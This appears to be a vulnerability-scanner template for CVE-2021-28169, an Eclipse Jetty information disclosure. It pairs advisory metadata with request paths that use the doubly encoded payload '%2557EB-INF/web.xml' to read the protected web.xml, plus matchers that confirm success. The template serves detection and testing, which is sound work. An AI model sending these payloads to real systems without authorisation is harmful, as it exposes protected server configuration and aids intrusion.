id: CVE-2021-28169

info:
  name: Jetty Utility Servlets Information Disclosure
  author: pikpikcu
  severity: medium
  description: |
    For Eclipse Jetty versions <= 9.4.40, <= 10.0.2, <= 11.0.2, it is possible for requests to the ConcatServlet with a doubly encoded path to access protected resources within the WEB-INF directory.
  reference:
    - https://twitter.com/sec715/status/1406787963569065988
    - https://nvd.nist.gov/vuln/detail/CVE-2021-28169
    - https://github.com/eclipse/jetty.project/security/advisories/GHSA-gwcr-j4wh-j3cq
    - https://lists.apache.org/thread.html/r2721aba31a8562639c4b937150897e24f78f747cdbda8641c0f659fe@%3Cusers.kafka.apache.org%3E
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 5.3
    cve-id: CVE-2021-28169
    cwe-id: CWE-200
  tags: cve,cve2021,jetty

requests:
  - method: GET
    path:
      - "{{BaseURL}}/static?/%2557EB-INF/web.xml"
      - "{{BaseURL}}/concat?/%2557EB-INF/web.xml"

    matchers-condition: and
    matchers:

      - type: word
        words:
          - "application/xml"
        part: header

      - type: word
        words:
          - "</web-app>"
          - "java.sun.com"
        part: body
        condition: and

      - type: status
        status:
          - 200